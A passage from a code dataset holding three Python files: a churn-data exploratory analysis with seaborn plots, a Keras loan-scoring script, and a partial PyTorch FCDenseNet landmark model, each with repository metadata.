fontsize=12)\n\nplt.show()\n\ncity_count = Counter(training['city']).most_common()\n\nprint(\"City Count \" +str(city_count))\n\n\n\n#Registered Via Count\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(412)\n\nR_V_order = training['registered_via'].unique()\n\nR_V_order = sorted(R_V_order, key=lambda x: str(x))\n\nR_V_order = sorted(R_V_order, key=lambda x: float(x))\n\n#above repetion of commands are very silly, but this was the only way I was able to diplay what I wanted\n\nsns.countplot(x=\"registered_via\", data=training,order = R_V_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Registered Via', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of Registered Via Count\", fontsize=12)\n\nplt.show()\n\nRV_count = Counter(training['registered_via']).most_common()\n\nprint(\"Registered Via Count \" +str(RV_count))\n\n\n\n#Gender count\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(413)\n\nsns.countplot(x=\"gender\", data=training)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Gender', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of Gender Count\", fontsize=12)\n\nplt.show()\n\ngender_count = Counter(training['gender']).most_common()\n\nprint(\"Gender Count \" +str(gender_count))\n\n\n\n#registration_init_time yearly trend\n\ntraining['registration_init_time_year'] = pd.DatetimeIndex(training['registration_init_time']).year\n\ntraining['registration_init_time_year'] = training.registration_init_time_year.apply(lambda x: int(x) if pd.notnull(x) else \"NAN\" )\n\nyear_count=training['registration_init_time_year'].value_counts()\n\n#print(year_count)\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(311)\n\nyear_order = training['registration_init_time_year'].unique()\n\nyear_order=sorted(year_order, key=lambda x: str(x))\n\nyear_order = sorted(year_order, key=lambda x: float(x))\n\nsns.barplot(year_count.index, year_count.values,order=year_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Year', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Yearly Trend of registration_init_time\", fontsize=12)\n\nplt.show()\n\nyear_count_2 = Counter(training['registration_init_time_year']).most_common()\n\nprint(\"Yearly Count \" +str(year_count_2))\n\n\n\n#registration_init_time monthly trend\n\ntraining['registration_init_time_month'] = pd.DatetimeIndex(training['registration_init_time']).month\n\ntraining['registration_init_time_month'] = training.registration_init_time_month.apply(lambda x: int(x) if pd.notnull(x) else \"NAN\" )\n\nmonth_count=training['registration_init_time_month'].value_counts()\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(312)\n\nmonth_order = training['registration_init_time_month'].unique()\n\nmonth_order = sorted(month_order, key=lambda x: str(x))\n\nmonth_order = sorted(month_order, key=lambda x: float(x))\n\nsns.barplot(month_count.index, month_count.values,order=month_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Month', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Monthly Trend of registration_init_time\", fontsize=12)\n\nplt.show()\n\nmonth_count_2 = Counter(training['registration_init_time_month']).most_common()\n\nprint(\"Monthly Count \" +str(month_count_2))\n\n\n\n#registration_init_time day wise trend\n\ntraining['registration_init_time_weekday'] = pd.DatetimeIndex(training['registration_init_time']).weekday_name\n\ntraining['registration_init_time_weekday'] = training.registration_init_time_weekday.apply(lambda x: str(x) if pd.notnull(x) else \"NAN\" )\n\nday_count=training['registration_init_time_weekday'].value_counts()\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(313)\n\n#day_order = training['registration_init_time_day'].unique()\n\nday_order = ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday','NAN']\n\nsns.barplot(day_count.index, day_count.values,order=day_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Day', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Day-wise Trend of registration_init_time\", fontsize=12)\n\nplt.show()\n\nday_count_2 = Counter(training['registration_init_time_weekday']).most_common()\n\nprint(\"Day-wise Count \" +str(day_count_2))\nmembers.info()\n# City count in Members Data Set\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(311)\n\nsns.countplot(x=\"city\", data=members)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('City', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of City Count in Members Data Set\", fontsize=12)\n\nplt.show()\n\ncity_count = Counter(members['city']).most_common()\n\nprint(\"City Count \" +str(city_count))\n\n\n\n#Registered Via Count in Members Data Set\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(312)\n\nsns.countplot(x=\"registered_via\", data=members)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Registered Via', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of Registered Via Count in Members Data Set\", fontsize=12)\n\nplt.show()\n\nRV_count = Counter(members['registered_via']).most_common()\n\nprint(\"Registered Via Count \" +str(RV_count))\n\n\n\n\n\n#Gender count in Members Data Set\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(313)\n\nsns.countplot(x=\"gender\", data=members)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('Gender', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of Gender Count in Members Data Set\", fontsize=12)\n\nplt.show()\n\ngender_count = Counter(members['gender']).most_common()\n\nprint(\"Gender Count \" +str(gender_count))\n\ntmp_1=training.bd.value_counts()\n\ntmp_1.head()\ntraining['bd'] = training.bd.apply(lambda x: int(x) if pd.notnull(x) else \"NAN\" )\n\nbd_count = Counter(training['bd']).most_common()\n\nprint(\"BD Count \" +str(bd_count))\n#training.loc[(training['bd'] <= 1), 'bd'] = -99999\n\n#training.loc[(training['bd'] >= 100), 'bd'] = -99999\n\ntraining['bd'] = training.bd.apply(lambda x: -99999 if float(x)<=1 else x )\n\ntraining['bd'] = training.bd.apply(lambda x: -99999 if float(x)>=100 else x )\n#Birth Date count in training Data Set\n\nplt.figure(figsize=(12,8))\n\nbd_order = training['bd'].unique()\n\nbd_order = sorted(bd_order, key=lambda x: str(x))\n\nbd_order = sorted(bd_order, key=lambda x: float(x))\n\n#above repetion of commands are very silly, but this was the only way I was able to diplay what I wanted\n\nsns.countplot(x=\"bd\", data=training , order = bd_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('BD', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of BD Count\", fontsize=12)\n\nplt.show()\n\nbd_count = Counter(training['bd']).most_common()\n\nprint(\"BD Count \" +str(bd_count))\ntmp_bd = training[(training.bd != \"NAN\") & (training.bd != -99999)]\n\nprint(\"Mean of Birth Date = \" +str(np.mean(tmp_bd['bd'])))\n\nprint(\"Median of Birth Date = \" +str(np.median(tmp_bd['bd'])))\n\n#print(\"Mode of Birth Date = \" +str(np.mode(tmp_bd['bd'])))\n\nplt.figure(figsize=(12,8))\n\nplt.subplot(211)\n\nbd_order_2 = tmp_bd['bd'].unique()\n\nbd_order_2 = sorted(bd_order_2, key=lambda x: float(x))\n\nsns.countplot(x=\"bd\", data=tmp_bd , order = bd_order_2)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('BD', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of BD Count without ouliers and NAN values\", fontsize=12)\n\nplt.show()\n\n\n\nplt.figure(figsize=(4,12))\n\nplt.subplot(212)\n\nsns.boxplot(y=tmp_bd[\"bd\"],data=tmp_bd)\n\nplt.xlabel('BD', fontsize=12)\n\nplt.title(\"Box Plot of Birth Date without ouliers and NAN values\", fontsize=12)\n\nplt.show()\n#Gender\n\ngender_crosstab=pd.crosstab(training['gender'],training['is_churn'])\n\ngender_crosstab.plot(kind='bar', stacked=True, grid=True)\n\ngender_crosstab[\"Ratio\"] = gender_crosstab[1] / gender_crosstab[0]\n\ngender_crosstab\n#Registered Via\n\nregistered_via_crosstab=pd.crosstab(training['registered_via'],training['is_churn'])\n\nregistered_via_crosstab.plot(kind='bar', stacked=True, grid=True)\n\nregistered_via_crosstab[\"Ratio\"] = registered_via_crosstab[1] / registered_via_crosstab[0]\n\nregistered_via_crosstab\n#city\n\ncity_crosstab=pd.crosstab(training['city'],training['is_churn'])\n\ncity_crosstab.plot(kind='bar', stacked=True, grid=True)\n\ncity_crosstab[\"Ratio\"] = city_crosstab[1] / city_crosstab[0]\n\ncity_crosstab\n#Birth Date\n\nsns.boxplot(x=tmp_bd[\"is_churn\"],y=tmp_bd[\"bd\"],data=tmp_bd);\n\ndel tmp_bd # memory cleaning\ntransactions.head()\ntransactions.info()\ntransactions.describe()\n# payment_method_id count in transactions Data Set\n\nplt.figure(figsize=(18,6))\n\n#plt.subplot(311)\n\nsns.countplot(x=\"payment_method_id\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('payment_method_id', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of payment_method_id Count in transactions Data Set\", fontsize=12)\n\nplt.show()\n\npayment_method_id_count = Counter(transactions['payment_method_id']).most_common()\n\nprint(\"payment_method_id Count \" +str(payment_method_id_count))\n\n# payment_plan_days count in transactions Data Set\n\nplt.figure(figsize=(18,6))\n\nsns.countplot(x=\"payment_plan_days\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('payment_plan_days', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of payment_plan_days Count in transactions Data Set\", fontsize=12)\n\nplt.show()\n\npayment_plan_days_count = Counter(transactions['payment_plan_days']).most_common()\n\nprint(\"payment_plan_days Count \" +str(payment_plan_days_count))\n\n# plan_list_price count in transactions Data Set\n\nplt.figure(figsize=(18,6))\n\nsns.countplot(x=\"plan_list_price\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('plan_list_price', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of plan_list_price Count in transactions Data Set\", fontsize=12)\n\nplt.show()\n\nplan_list_price_count = Counter(transactions['plan_list_price']).most_common()\n\nprint(\"plan_list_price Count \" +str(plan_list_price_count))\n\n# actual_amount_paid count in transactions Data Set\n\nplt.figure(figsize=(18,6))\n\nsns.countplot(x=\"actual_amount_paid\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('actual_amount_paid', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of actual_amount_paid Count in transactions Data Set\", fontsize=12)\n\nplt.show()\n\nactual_amount_paid_count = Counter(transactions['actual_amount_paid']).most_common()\n\nprint(\"actual_amount_paid Count \" +str(actual_amount_paid_count))\n# is_auto_renew count in transactions Data Set\n\nplt.figure(figsize=(4,4))\n\nsns.countplot(x=\"is_auto_renew\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('is_auto_renew', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of is_auto_renew Count in transactions Data Set\", fontsize=6)\n\nplt.show()\n\nis_auto_renew_count = Counter(transactions['is_auto_renew']).most_common()\n\nprint(\"is_auto_renew Count \" +str(is_auto_renew_count))\n# is_cancel count in transactions Data Set\n\nplt.figure(figsize=(4,4))\n\nsns.countplot(x=\"is_cancel\", data=transactions)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('is_cancel', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of is_cancel Count in transactions Data Set\", fontsize=6)\n\nplt.show()\n\nis_cancel_count = Counter(transactions['is_cancel']).most_common()\n\nprint(\"is_cancel Count \" +str(is_cancel_count))\n#Changing the format of dates in YYYY-MM-DD in transaction data set\n\n#transactions['transaction_date'] = transactions.transaction_date.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date())\n\n#transactions['membership_expire_date'] = transactions.membership_expire_date.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date())\n\n#transactions.head()\n#Correlation between plan_list_price and actual_amount_paid\n\ntransactions['plan_list_price'].corr(transactions['actual_amount_paid'],method='pearson') \n#transactions['msno'].value_counts() \n\n(transactions['msno'].value_counts().reset_index())['msno'].value_counts()\n#tmp1=transactions['msno'].value_counts() \n\n#tmp2=tmp1[tmp1==8]\n\n#print(tmp2.head(1))\n\n#del tmp1, tmp2\ntmp1=transactions[transactions.msno==\"LNScSgIQZsX+hC3eVrwGFcdan0nftusOwk0jMAu7q9I=\"]\n\ntmp1=tmp1.sort_values('transaction_date')\n\ntmp1\ndel tmp1 # memory cleaning\n#merging the training and transaction data set\n\ntraining = pd.merge(left = training,right = transactions ,how = 'left',on=['msno'])\n\n\n\n#changing the format of the dates\n\ntraining['transaction_date'] = training.transaction_date.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date() if pd.notnull(x) else \"NAN\" )\n\ntraining['membership_expire_date'] = training.membership_expire_date.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date() if pd.notnull(x) else \"NAN\")\n\ntraining.head()\n", "repo_name": "aorursy/new-nb-6", "sub_path": "rastaman_churn-or-no-churn-exploration-data-analysis.py", "file_name": "rastaman_churn-or-no-churn-exploration-data-analysis.py", "file_ext": "py", "file_size_in_byte": 14173, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "subprocess.check_output", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.notnull", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.notnull", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.notnull", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "name"}, {"api_name": "pandas.notnull", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 65, 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"matplotlib.pyplot", "line_number": 481, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 483, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 483, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 485, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 485, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 487, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 493, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 493, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 495, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 497, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 497, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 499, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 499, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 501, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 501, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 503, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 503, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 505, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 505, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 507, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 512, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 512, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 514, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 516, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 516, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 518, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 518, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 520, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 520, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 522, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 522, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 524, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 524, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 526, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 531, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 531, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 533, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 535, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 535, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 537, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 537, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 539, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 539, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 541, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 541, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 543, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 543, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 545, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 576, "usage_type": "call"}, {"api_name": "pandas.notnull", "line_number": 582, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 582, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 582, "usage_type": "name"}, {"api_name": "pandas.notnull", "line_number": 584, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 584, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 584, "usage_type": "name"}]} +{"seq_id": "24980636186", "text": "# Importar Librerias\nimport numpy\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom pandas import read_csv\nfrom keras.models import load_model\nfrom keras import backend as K\n\n\n# import pickle\n\n\n# Leer modelo guardado\ndef open_model(filename):\n model = load_model(filename)\n return model\n\n\n# Calificar Datos Ingresados\ndef calificacion(modelo, datos):\n result = modelo.predict(datos)\n result_df = pd.DataFrame(columns=['SI', 'NO', 'Buen_Pagador', 'Certeza'])\n result_df['SI'] = result[:, 1]\n result_df['NO'] = result[:, 0]\n det = result_df['SI'] > result_df['NO']\n result_df['Buen_Pagador'][det] = 'SI'\n result_df['Buen_Pagador'][~det] = 'NO'\n result_df['Certeza'][det] = result_df['SI']\n result_df['Certeza'][~det] = result_df['NO']\n result_df = result_df[['Buen_Pagador', 'Certeza']]\n result_df = result_df.drop(len(result_df) - 1)\n result_df = result_df.drop(len(result_df) - 1)\n return result_df\n\n\ndef preparacion(data):\n info = pd.DataFrame(columns=['plazoOperacion', 'montoCuotaOperacion', 'ingresosCliente',\n 'montoOperacion', 'gastosCliente', 'valorVehiculo',\n 'numeroCuotasInicioOperacion', 'edadCliente',\n 'codigoProvinciaCliente_10', 'codigoProvinciaCliente_9',\n 'codigoProvinciaCliente_otro', 'marcaVehiculo_Chery',\n 'marcaVehiculo_Chevrolet', 'marcaVehiculo_DFSK',\n 'marcaVehiculo_Hyundai', 'marcaVehiculo_otro',\n 'tipoResidenciaCliente_A', 'tipoResidenciaCliente_F',\n 'tipoResidenciaCliente_otro', 'claseVehiculo_Camion',\n 'codigoNivelEstudiosCliente_P'])\n\n info['plazoOperacion'] = data['plazo_prestamo']\n info['montoCuotaOperacion'] = data['monto_cuota']\n info['ingresosCliente'] = data['ingresos']\n info['montoOperacion'] = data['monto_prestamo']\n info['gastosCliente'] = data['gastos']\n info['valorVehiculo'] = data['valor_vehiculo']\n info['numeroCuotasInicioOperacion'] = data['numero_cuotas']\n info['edadCliente'] = data['edad']\n\n info[['codigoProvinciaCliente_10', 'codigoProvinciaCliente_9',\n 'codigoProvinciaCliente_otro', 'marcaVehiculo_Chery',\n 'marcaVehiculo_Chevrolet', 'marcaVehiculo_DFSK',\n 'marcaVehiculo_Hyundai', 'marcaVehiculo_otro',\n 'tipoResidenciaCliente_A', 'tipoResidenciaCliente_F',\n 'tipoResidenciaCliente_otro', 'claseVehiculo_Camion',\n 'codigoNivelEstudiosCliente_P']] = 0\n\n data['provincia'] = data['provincia'].astype(str)\n data['provincia'] = data['provincia'].str.strip()\n info['codigoProvinciaCliente_10'][data['provincia'] == '10'] = 1\n info['codigoProvinciaCliente_9'][data['provincia'] == '9'] = 1\n provincia_otro = (data['provincia'] == '9') | (data['provincia'] == '10')\n info['codigoProvinciaCliente_otro'][~provincia_otro] = 1\n\n data['marca_vehiculo'] = data['marca_vehiculo'].astype(str)\n data['marca_vehiculo'] = data['marca_vehiculo'].str.strip()\n info['marcaVehiculo_Chery'][data['marca_vehiculo'] == '15'] = 1\n info['marcaVehiculo_Chevrolet'][data['marca_vehiculo'] == '5'] = 1\n info['marcaVehiculo_DFSK'][data['marca_vehiculo'] == '14'] = 1\n info['marcaVehiculo_Hyundai'][data['marca_vehiculo'] == '2'] = 1\n marca_otro = (data['marca_vehiculo'] == '15') | (data['marca_vehiculo'] == '5') | (\n data['marca_vehiculo'] == '14') | (data['marca_vehiculo'] == '2')\n info['marcaVehiculo_otro'][~marca_otro] = 1\n\n data['tipo_residencia'] = data['tipo_residencia'].astype(str)\n data['tipo_residencia'] = data['tipo_residencia'].str.strip()\n info['tipoResidenciaCliente_A'][data['tipo_residencia'] == 'A'] = 1\n info['tipoResidenciaCliente_F'][data['tipo_residencia'] == 'F'] = 1\n residencia_otro = (data['tipo_residencia'] == 'A') | (data['tipo_residencia'] == 'F')\n info['tipoResidenciaCliente_otro'][~residencia_otro] = 1\n\n data['clase_vehiculo'] = data['clase_vehiculo'].astype(str)\n data['clase_vehiculo'] = data['clase_vehiculo'].str.strip()\n info['claseVehiculo_Camion'][data['clase_vehiculo'] == '3'] = 1\n\n data['nivel_estudios'] = data['nivel_estudios'].astype(str)\n data['nivel_estudios'] = data['nivel_estudios'].str.strip()\n info['codigoNivelEstudiosCliente_P'][data['nivel_estudios'] == 'P'] = 1\n\n return info\n\n\ndef ejecucionModelo(data):\n valores = preparacion(data)\n X = valores.values\n PATH = \"modelo_entrenado/x_min_max.csv\"\n x_min_max = lecturaCSV(PATH)\n x_min_max = x_min_max.values\n X = numpy.concatenate((X, x_min_max), axis=0)\n print(X)\n scaler = MinMaxScaler()\n X = scaler.fit_transform(X)\n print(X)\n PATH1 = \"modelo_entrenado/nn1.h5\"\n model = open_model(PATH1)\n print(model.summary())\n cal = calificacion(model, X)\n K.clear_session()\n return cal\n\n\ndef lecturaCSV(path):\n data = read_csv(path)\n return data\n", "repo_name": "epavila/machinelearnig-proyectofinal", "sub_path": "modelo_entrenado/ModeloEnProduccion.py", "file_name": "ModeloEnProduccion.py", "file_ext": "py", "file_size_in_byte": 5063, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "keras.models.load_model", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 106, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 108, "usage_type": "call"}, {"api_name": "keras.backend.clear_session", "line_number": 115, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 115, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 120, "usage_type": "call"}]} +{"seq_id": "8712879957", "text": "import torch\nimport torch.nn as nn\n\nfrom .layers import *\nfrom utils.imutils import gaussian\n\nclass FCDenseNet(nn.Module):\n def __init__(self, in_channels=3, down_blocks=(5,5,5,5,5),\n up_blocks=(5,5,5,5,5), bottleneck_layers=5,\n growth_rate=16, out_chans_first_conv=48, n_classes=12):\n super().__init__()\n self.down_blocks = down_blocks\n self.up_blocks = up_blocks\n cur_channels_count = 0\n skip_connection_channel_counts = []\n dskip = []\n ## First Convolution ##\n\n self.add_module('firstconv', nn.Conv2d(in_channels=in_channels,\n out_channels=out_chans_first_conv, kernel_size=3,\n stride=2, padding=1, bias=True))\n #self.add_module('BN1', nn.BatchNorm2d(in_channels))\n \n cur_channels_count = out_chans_first_conv\n #print('1', cur_channels_count)\n\n #####################\n # Downsampling path #\n #####################\n\n self.denseBlocksDown = nn.ModuleList([])\n self.transDownBlocks = nn.ModuleList([])\n self.dilatedConv = nn.ModuleList([])\n for i in range(len(down_blocks)):\n self.denseBlocksDown.append(\n DenseBlock(cur_channels_count, growth_rate, down_blocks[i]))\n cur_channels_count += (growth_rate*down_blocks[i])\n #print('21', cur_channels_count)\n skip_connection_channel_counts.insert(0,cur_channels_count)\n self.transDownBlocks.append(TransitionDown(cur_channels_count))\n #print('22', skip_connection_channel_counts)\n #####################\n # Bottleneck #\n #####################\n\n self.add_module('bottleneck',Bottleneck(cur_channels_count,\n growth_rate, bottleneck_layers))\n prev_block_channels = growth_rate*bottleneck_layers\n cur_channels_count += prev_block_channels\n #print('3', cur_channels_count)\n #######################\n # Upsampling path #\n #######################\n\n self.transUpBlocks = nn.ModuleList([])\n self.denseBlocksUp = nn.ModuleList([])\n for i in range(len(up_blocks)-1):\n self.transUpBlocks.append(TransitionUp(prev_block_channels, prev_block_channels))\n cur_channels_count = prev_block_channels + skip_connection_channel_counts[i]\n\n self.denseBlocksUp.append(DenseBlock(\n cur_channels_count, growth_rate, up_blocks[i],\n upsample=True))\n prev_block_channels = growth_rate*up_blocks[i]\n cur_channels_count += prev_block_channels\n #print('4', cur_channels_count)\n ## Final DenseBlock ##\n\n self.transUpBlocks.append(TransitionUp(\n prev_block_channels, prev_block_channels))\n cur_channels_count = prev_block_channels + skip_connection_channel_counts[-1]\n #print('5', cur_channels_count)\n self.denseBlocksUp.append(DenseBlock(\n cur_channels_count, growth_rate, up_blocks[-1],\n upsample=False))\n cur_channels_count += growth_rate*up_blocks[-1]\n #print('6', cur_channels_count)\n ## Softmax ##\n out_channels_count = 68\n \n self.finalConv = nn.Conv2d(in_channels=cur_channels_count,\n out_channels=out_channels_count, kernel_size=1, stride=2,\n padding=0, bias=True)\n\n '''\n self.BatchNorm = nn.Sequential(\n nn.Conv2d(cur_channels_count, n_classes, kernel_size= 3, stride = 1, bias= True , padding=1),\n nn.BatchNorm2d(n_classes),\n nn.ReLU(True)) \n\n '''\n \n self.dilations = [1,1,2,4,8,16]\n #print('cur_channels_count', cur_channels_count)\n for i, d in enumerate(self.dilations):\n dskip.append(out_channels_count)\n #print('dskip', dskip) \n\n self.dilatedConv.append(\n self.dilated(in_channels=out_channels_count, out_channels=68, kernel_size=3, stride=1, padding = d,dilation=d))\n \n out_channels_count = dskip.pop()\n #print('out0', out_channels_count)\n out_channels_count = out_channels_count + 68\n \n #print('out',out_channels_count)\n \n #self.convv = nn.Conv2d(136, n_classes, 3, stride = 1,bias =True, padding=1)\n \n self.convv1 = nn.Conv2d(out_channels_count, n_classes, 3 ,stride = 1, bias =True, padding=1)\n \n\n def dilated(self, in_channels, out_channels, kernel_size, stride , padding ,dilation):\n return nn.Sequential(\n nn.Conv2d(in_channels = in_channels, out_channels= out_channels,kernel_size= kernel_size, \n stride = stride , padding = padding ,dilation= dilation),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(True))\n\n def forward(self, x):\n out = self.firstconv(x)\n #out = self.BN1(x)\n\n skip_connections = []\n for i in range(len(self.down_blocks)):\n out = self.denseBlocksDown[i](out)\n skip_connections.append(out)\n out = self.transDownBlocks[i](out)\n\n out = self.bottleneck(out)\n for i in range(len(self.up_blocks)):\n skip = skip_connections.pop()\n out = self.transUpBlocks[i](out, skip)\n out = self.denseBlocksUp[i](out)\n\n x = self.finalConv(out)\n #print(x.shape)\n #print('x',x.shape)\n \n #top_side = self.BatchNorm(out)\n kernel_stacked = np.tile(gaussian(size = 45, sigma = 0.01), (68, 1, 1, 1)) # [numLabels x 1 x 45 x 45]\n kernel_stacked = torch.from_numpy(kernel_stacked)\n kernel = Variable(kernel_stacked, requires_grad=False)\n \n o_main = nn.functional.conv2d(x, kernel.cuda(), stride = 1 ,padding = 22,groups=68) # 22 = 45\n #print('o_main', o_main.shape)\n\n askip = []\n #print('x', x.shape)\n \n for i in range(len(self.dilations)):\n askip.append(x)\n 